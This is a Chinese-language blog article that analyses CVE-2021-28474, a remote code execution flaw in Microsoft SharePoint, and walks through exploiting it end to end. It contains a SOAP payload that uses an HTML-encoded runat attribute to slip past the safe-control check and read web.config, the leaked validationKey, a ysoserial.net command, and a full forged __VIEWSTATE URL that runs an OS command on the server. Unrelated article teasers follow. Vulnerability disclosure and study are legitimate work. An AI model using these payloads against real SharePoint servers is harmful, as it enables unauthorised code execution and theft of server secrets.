百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术文章 > 正文

CVE-2021-28474:Microsoft SharePoint远程代码执行漏洞分析

cac55 2024-11-12 09:40 24 浏览 0 评论

概述

研究人员在微软SharePoint服务器中发现了一个远程代码执行漏洞(CVE-2021-28474)。该漏洞允许经过身份验证的攻击者在SharePoint服务器上,利用SharePoint Web应用程序的服务帐户上下文执行任意.NET代码。要想成功利用该漏洞,攻击者需要具备SharePoint站点的SPBasePermissions.ManageLists权限。默认情况下,经过身份验证的SharePoint用户可以创建网页页面,并拥有所需的所有权限。


漏洞代码分析

该漏洞因为用于安全验证的代码与用于实际处理用户输入的代码之间存在不一致导致的。

安全验证由EditingPageParser.VerifyControlOnSafeList()执行。该函数将验证所提供的输入是否不包含不安全的控件,即web.config文件中的SafeControl元素未将任何控件标记为安全。

// Microsoft.SharePoint.EditingPageParser
internal static void VerifyControlOnSafeList(string dscXml, RegisterDirectiveManager registerDirectiveManager, SPWeb web, bool blockServerSideIncludes = false) 
{     
       Hashtable hashtable = new Hashtable();     
       Hashtable hashtable2 = new Hashtable();     
       List<string> list = new List<string>();     
       EditingPageParser.InitializeRegisterTable(hashtable, registerDirectiveManager);     
       EditingPageParser.ParseStringInternal(dscXml, hashtable2, hashtable, list);     
       if (blockServerSideIncludes && list.Count > 0)
       {
           ULS.SendTraceTag(42059668u, ULSCat.msoulscat_WSS_General, ULSTraceLevel.Medium, "VerifyControlOnSafeList: Blocking control XML due to unsafe server side includes"); 
           throw new ArgumentException("Unsafe server-side includes", "dscXml");
        }
        foreach (object obj in hashtable2)  
        {
           Pair pair = (Pair)((DictionaryEntry)obj).Value;         
           string text = (string)pair.First;         
           string text2 = (string)pair.Second;         
           text2 = text2.ToLower(CultureInfo.InvariantCulture);         
           if (hashtable.ContainsKey(text2))         
           {
 /*...*/
                       if (!web.SafeControls.IsSafeControl(web.IsAppWeb, type, out s))                     
                       {                         
                           throw new SafeControls.UnsafeControlException(s);                     
                        }                     
                        break;                 
                    }             
               }         
            }     
       } 
  }

EditingPageParser.ParseStringInternal()函数解析来自dscXml的用户输入,并使用寄存器指令中的信息填充hashtable,以及使用服务器控件标记中的值填充hashtable2。之后,它尝试根据web.config文件中的SafeControl元素验证hashtable2中的每个元素。如果一个控件在那里没有被标记为安全,它就会抛出一个异常。

让我们仔细看看hashtable2中的值是如何进行填充的:

// Microsoft.SharePoint.EditingPageParser 
private static void ParseStringInternal(string text, Hashtable controls, Hashtable typeNames, IList<string> includes) 
{     
     int num = 0;     
     int num2 = text.LastIndexOf('>');     
     for (;;)     
     {         
           Match match; 
/*...*/         
           if (!(match = EditingPageParser.commentRegex.Match(text, num)).Success && !(match = EditingPageParser.aspExprRegex.Match(text, num)).Success && !(match = EditingPageParser.databindExprRegex.Match(text, num)).Success && !(match = EditingPageParser.aspCodeRegex.Match(text, num)).Success)         
           {             
               if (num2 > num && (match = EditingPageParser.tagRegex.Match(text, num)).Success)             
               {                 
                    try                 
                    {                     
                         EditingPageParser.HandleTagMatch(match, controls); 
/*...*/  

// Microsoft.SharePoint.EditingPageParser 
private static void HandleTagMatch(Match match, Hashtable controls) 
{     
        CaptureCollection captures = match.Groups["attrname"].Captures;     
        CaptureCollection captures2 = match.Groups["attrval"].Captures;     
        bool flag = false;     
        for (int i = 0; i < captures.Count; i++)     
        {         
              string strA = captures[i].ToString();         
              string strA2 = captures2[i].ToString();         
              if (string.Compare(strA, "runat", StringComparison.OrdinalIgnoreCase) == 0 && string.Compare(strA2, "server", StringComparison.OrdinalIgnoreCase) == 0)         
              {             
                      flag = true;             
                      break;         
               }     
         }     
         if (flag)     
         {         
                string value = match.Groups["tagname"].Value;         
                int num = value.IndexOf(':');         
                if (num > 0 && num < value.Length - 1)         
                {             
                       string x = value.Substring(num + 1);             
                       string y = value.Substring(0, num);             
                       controls[value] = new Pair(x, y);         
                 }     
          } 
 }

如我们所见,SharePoint仅验证服务器端控件(带有runat="server"属性的标记)。这是合理的,因为客户端元素不需要验证。

如果验证通过,SharePoint将处理提供的标记。让我们回顾一下执行处理的代码:

// System.Web.UI.TemplateParser 
private void ParseStringInternal(string text, Encoding fileEncoding) 
{     
       int num = 0;     
       int num2 = text.LastIndexOf('>');     
       Regex tagRegex = base.TagRegex;     
       do     
       {         
              Match match; 
 /*...*/                     
                          if (!this.flags[2] && num2 > num && (match = tagRegex.Match(text, num)).Success)                     
                          {                         
                               try                         
                               {                             
                                    if (!this.ProcessBeginTag(match, text))                             
                                    {                                 
                                          flag = true;                             
                                    } 
 /*...*/   
 
 
 // System.Web.UI.TemplateParser 
 private bool ProcessBeginTag(Match match, string inputText) 
 {     
        string value = match.Groups["tagname"].Value;     
        ParsedAttributeCollection attribs;     
        string text;     
        this.ProcessAttributes(inputText, match, out attribs, false, out text); 
/*...*/       

// System.Web.UI.TemplateParser 
private string ProcessAttributes(string text, Match match, out ParsedAttributeCollection attribs, bool fDirective, out string duplicateAttribute) 
{     
        string text2 = string.Empty;     
        attribs = TemplateParser.CreateEmptyAttributeBag();     
        CaptureCollection captures = match.Groups["attrname"].Captures;     
        CaptureCollection captures2 = match.Groups["attrval"].Captures;     
        CaptureCollection captureCollection = null;     
        if (fDirective)     
        {         
              captureCollection = match.Groups["equal"].Captures;     
         }     
         this.flags[1] = false;     
         this._id = null;     
         duplicateAttribute = null;     
         for (int i = 0; i < captures.Count; i++)     
         {         
              string text3 = captures[i].ToString();         
              if (fDirective)         
              {             
                   text3 = text3.ToLower(CultureInfo.InvariantCulture);         
               }         
               Capture capture = captures2[i];         
               string text4 = capture.ToString();         
               string empty = string.Empty;         
               string text5 = Util.ParsePropertyDeviceFilter(text3, out empty);         
               text4 = HttpUtility.HtmlDecode(text4);         
               bool flag = false;         
               if (fDirective)         
               {             
                    flag = (captureCollection[i].ToString().Length > 0);         
                }         
                if (StringUtil.EqualsIgnoreCase(empty, "id"))         
                {             
                    this._id = text4;         
                 }         
                 else if (StringUtil.EqualsIgnoreCase(empty, "runat"))         
                 {             
                        this.ValidateBuiltInAttribute(text5, empty, text4);             
                        if (!StringUtil.EqualsIgnoreCase(text4, "server"))             
                        {                 
                            this.ProcessError(SR.GetString("Runat_can_only_be_server"));            
                        }             
                        this.flags[1] = true;             
                        text3 = null;         
                  } 
 /*...*/

可以看见处理时解析内容的步骤与验证时的解析步骤非常相似。但是,有一个关键的单行差异:text4 = HttpUtility.HtmlDecode(text4)。

在处理时,属性值由解析器进行HTML解码,但在验证时没有相应的行。这意味着,如果我们有一个ASPX标记,它的属性是runat="&#115;erver"EditingPageParser.VerifyControlOnSafeList()函数不会将其视为服务器端控件,也不会检查它的安全性。但是,在处理时,它将被识别为服务器端控件并执行。


漏洞利用

在此次攻击中,我们将利用System.Web.UI.WebControls.Xml控件,以从任意XML文件中检索信息。我们可以使用它从web.config中提取machineKey部分,这允许我们伪造任意ViewState,并通过ViewState反序列化实现远程代码执行。

可以看见System.Web.UI.WebControls.Xmlweb.config中的SafeControl元素标记为不安全:

<SafeControl Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" Namespace="System.Web.UI.WebControls" TypeName="Xml" Safe="False" AllowRemoteDesigner="False" SafeAgainstScript="False" />

我们将使用可通过/_vti_bin/WebPartPages.asmx站点访问的WebPartPagesWebService.ExecuteProxyUpdates Web API方法,投递有效载荷。它允许我们在设计模式下从OuterHtml属性渲染ASPX标记。用户输入将通过VerifyControlOnSafeList方法进行验证。

为了成功进行攻击,我们需要提供任何现有网站页面的相对路径:

<UpdateTransaction> 
<Update Type="Document"> 
<Document Url="SitePages/Home.aspx" ContextUrl="SitePages/Home.aspx">       
      <Control UpdateID="9940723" NeedsPreview="true" TagName="Name1" OuterHtml="&lt;asp:Repeater  runat=&quot;server&quot;&gt; &lt;HeaderTemplate&gt; &lt;asp:Xml runat=&quot;&amp;#115;erver&quot; id=&quot;xml1&quot; DocumentSource=&quot;c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config&quot;/&gt;   &lt;/HeaderTemplate&gt;&lt;/asp:Repeater&gt; " />     
    </Document>     
    <Actions />     
    </Update> 
</UpdateTransaction>

我们可以使用来自web.configmachinekey部分的信息来创建一个有效的ViewState,它将被SharePoint反序列化。这允许我们通过反序列化不受信任的数据来运行任意操作系统命令。


概念验证

在演示场景中,我们使用安装了Windows Server 2019 Datacenter上所有默认选项的Microsoft SharePoint Server 2019。服务器的主机名称为sp2019.contoso.lab,已加入contoso.lab域中,域为独立的虚拟机。目标主机已安装2021年1月的所有补丁,对应版本号为16.0.10370.20001,并添加了几个用户,包括普通用户“user2”。

攻击者系统只需使用任何受支持的网页浏览器、用于向服务器发送SOAP请求的PoC应用程序,以及ysoserial.net工具,我们使用的浏览器为Firefox。

首先我们访问SharePoint服务器,以普通用户“user2”进行身份验证。

然后创建一个站点,使该用户成为站点所有者并拥有所有权限。

点击顶部面板的“SharePoint”区域:

然后点击“+创建站点”链接:


选择“Team Site”,现在我们需要为新站点设置名称,这里我们设置为ts01

点击“完成”,成功创建新站点:

现在我们需要一个指向该站点中任何站点页面的相对路径,转到 /SitePages/Forms/ByAuthor.aspx以查看页面列表:

我们可以点击所需的页面并从地址栏中获取相对路径:

在这里,相对路径为SitePages/Home.aspx

接下来使用自定义可执行文件向易受攻击的服务器发送请求以触发漏洞。我们需要提供网站地址、凭证和相对路径:

>SP_soap_RCE_PoC.exe http://sp2019/sites/ts01/ user2 P@ssw0rd contoso "SitePages/Home.aspx"

如果攻击成功,我们将收到web.config的内容:

在该文件中搜索machineKey元素:

要执行RCE攻击,我们需要获取validationKey的值。在这里validationKey=”FAB45BC67E06323C48951DA2AEAF077D8786291E2748330F03B6601F09523B79”

我们还可以看到算法:validation="HMACSHA256"。

利用这些信息,我们就可以实现远程代码执行攻击。在进行最后一步攻击前,我们先进入目标SharePoint服务器,并打开C:windowsemp文件夹:

此时该目录中不存在SP_RCE_01.txt文件。

现在我们转到“攻击者”主机,并在网站上打开Success.aspx页面:

在本例中,URL为http://sp2019/sites/ts01/_layouts/15/success.aspx:

打开这个页面的源代码视图,找到__VIEWSTATEGENERATOR的值,本例中该值为AF878507:

现在,我们已经拥有了伪造一个任意的ViewState所需要的所有数据:

  • __VIEWSTATEGENERATOR=AF878507

  • validationKey=FAB45BC67E06323C48951DA2AEAF077D8786291E2748330F03B6601F09523B79

  • validationAlg=HMACSHA256

使用ysoserial生成ViewState:

>ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo RCE > c:/windows/temp/SP_RCE_01.txt" --generator="AF878507" --validationkey="FAB45BC67E06323C48951DA2AEAF077D8786291E2748330F03B6601F09523B79" --validationalg="HMACSHA256" --islegacy --minify

这是生成的有效载荷,我们需要对其进行URL编码,并将其作为查询字符串中的__VIEWSTATE参数发送到目标服务器:

http://sp2019/sites/ts01/_layouts/15/success.aspx?__VIEWSTATE=%2FwEy2gcAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAABlN5c3RlbQUBAAAAQFN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLG1zY29ybGliXV0EAAAABUNvdW50CENvbXBhcmVyB1ZlcnNpb24FSXRlbXMAAQABCAgCAAAAAgAAAAkDAAAAAAAAAAkEAAAABAMAAABAU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuQ29tcGFyaXNvbkNvbXBhcmVyYDFbW1N5c3RlbS5TdHJpbmddXQEAAAALX2NvbXBhcmlzb24BCQUAAAARBAAAAAIAAAAGBgAAACsvYyBlY2hvIFJDRSA%2BIGM6L3dpbmRvd3MvdGVtcC9TUF9SQ0VfMDEudHh0BgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUAAXgBAQEJCAAAAA0ADQAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkAEnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQEBAQEBBgsAAACSAVN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmddLFtTeXN0ZW0uU3RyaW5nXSxbU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsU3lzdGVtLFZlcnNpb249NC4wLjAuMCxDdWx0dXJlPW5ldXRyYWwsUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAAAIbXNjb3JsaWINAAYNAAAARlN5c3RlbSxWZXJzaW9uPTQuMC4wLjAsQ3VsdHVyZT1uZXV0cmFsLFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAAF4BwAAAAAAAAAAAAABAQEBAQABCA0ADQANAA0ADQAAAAAAAQoAAAAJAAAABhYAAAAHQ29tcGFyZQ0ABhgAAAANU3lzdGVtLlN0cmluZw0ADQAAAAAADQABEAAAAAgAAAAGGwAAACRTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nXV0JDAAAAA0ACQwAAAAJGAAAAAkWAAAAC5nTmz9vXHLF1C5DkWIPhsB4pP5YHhCaIK%2Bh79Fa4ZeW

将此URL粘贴到浏览器中,响应显示为错误:

然而再次检查目标服务器上的C:windowsemp文件夹,可以发现目标文件创建成功,证明我们实现了代码执行:

通过这种方法,攻击者可以在SharePoint Web应用程序的上下文中执行任意操作系统命令。

相关推荐

小车五位自动循环往返控制_小车自动往返控制系统

需求描述:用三相异步电动机拖动一辆小车在A、B、C、D、E五点之间自动循环往返运行,小车初始在A点,按下启动按钮,小车依次前进到B、C、D、E点,并分别停止2s返回到A点停止。按下停止...

自动灌溉系统_自动灌溉系统by

需求描述:PLC时钟设定每日6:00、18:00自动启动灌溉系统,每次运行15分钟后停止;非定时时段按下手动灌溉按钮,立即启动并运行15分钟;土壤湿度传感器检测到湿润时,跳过本次定时灌溉...

主板ERP开启还是关闭好_主板设置erp是什么

主板功能的开启与关闭,本质是在“节能环保”和“使用便利”之间做选择。为帮你快速决策,先给出直接结论,再深入解析原理、影响及操作步骤,让你根据自身需求精准设置。一、直接结论:ERP功能如何选?...

新电脑必做5项设置!做完再玩,流畅安全多用三年

刚拿到新电脑,兴奋之余先别急着开机畅玩!做好以下这5大设置,能让你的爱机长期保持流畅如新,安全又省心。尤其是最后一招,很多老用户都不知道!1关闭隐私常规,杜绝数据偷跑新电脑首次开机进行系统初始化时,...

属于 PHP 开发者的 Supervisor 实用指南

属于PHP开发者的Supervisor实用指南在PHP开发中,我们经常需要运行一些后台进程:队列处理、长时间运行的脚本、WebSocket服务器等。这些进程可能会因为各种原因意外退出,手...

领导半夜12点微信派活?三句高情商回复,反手拿捏让他不敢再烦

友友们大家来啦!今天来和大家一起分享精彩话题老规矩先点赞再看文!0102别在这里害人了,现在能保住工作就烧高香了,再得瑟,明天早上去办离职0304很简单,把他一起拉上,每半小时打电话或语音汇报,一两次...

&quot;零点黑科技!硬盘自动备份+离线神操作,服务器数据安全躺赢&quot;

公司有一台服务器,数据库需要每天零点进行数据库备份,要求在本机备份一次,再在移动硬盘上异地备份一次。备份完成后硬盘自动离线。具体思路如下:数据库自动备份时间为每天0点,备份过程约需1分钟。0点时开启硬...

峰谷电:白天贵、晚上便宜,你家真的适合开通吗?

电费单又超预算了?别急着关掉空调,其实你可能错过了一个"电费打折"的机会——峰谷电。它就像电影院的日场和夜场票,白天贵、晚上便宜,聪明利用,电费真的能省下来。一、峰谷电是什么?峰谷电把...

电脑开机密码设置全指南:从基础到进阶的安全防护

在数字化时代,电脑存储着大量个人隐私和重要数据,设置开机密码是保护信息安全的第一道防线。本文将系统介绍Windows、macOS、Linux三大主流操作系统及BIOS层面的密码设置方法,同时涵盖密码管...

自动喷香机_香薰机自动喷香机

需求描述:PLC时钟设定每日9:00、14:00、18:00自动启动喷雾,每次喷雾3秒后停止;非定时时段按下手动喷雾按钮,立即喷雾3秒;香薰液缺液传感器检测到液位过低时,停止喷雾并亮报警...

macbook系统自动启动项在哪里查看

了解和管理MacBook的开机自动启动项,是优化系统启动速度和运行效率的好方法。下面我来为你介绍几种查看和管理这些启动项的方法。查看和管理MacBook启动项1.通过系统设置(最简单直接的方法)...

想让电脑自己到点开机和关机?这4个超实用的设置方法快收好!

嘿,你是不是也经常忙到忘记关电脑?或者早上想用电脑时发现还没开机?别慌,今天我就跟你分享几个超实用的方法,帮你轻松搞定电脑的定时开关机设置。不管你是电脑小白还是有点基础,这篇教程都能让你秒懂操作,省时...

定时关机这样操作小白也会 一招设定工作日关机 指定时间关机

在日常使用电脑的过程中,我们常常会遇到这样的情况:晚上睡觉前忘记手动关机,导致电脑整夜运行,既浪费电又缩短硬件寿命;或者在下载大文件时,需要等待很长时间才能完成,却不能一直守在电脑前,下载完成后也无法...

日本无线电操作证试题,这些问题你能答的上来吗?

一直以来,我们对于日本的业余无线电的印象都停留在“操作能力强,爱好者数目众多”上,然而我们对于他们的业余无线电体系所知甚少。日本业余无线电操作证的等级分作四级,最基本的四级操作证书具有8MHz以下、2...

你知道吗?单边带信号就像DNA分子一样!

我们在准备B级操作证书的过程中,避免不了的要接触到一个新的名词——SSB。单边带是传统AM模式的一种特殊的形式,在传送相同的信息的过程中,其占用的带宽仅为AM模式的一半,那么SSB模式到底是怎样的一种...

取消回复欢迎 发表评论: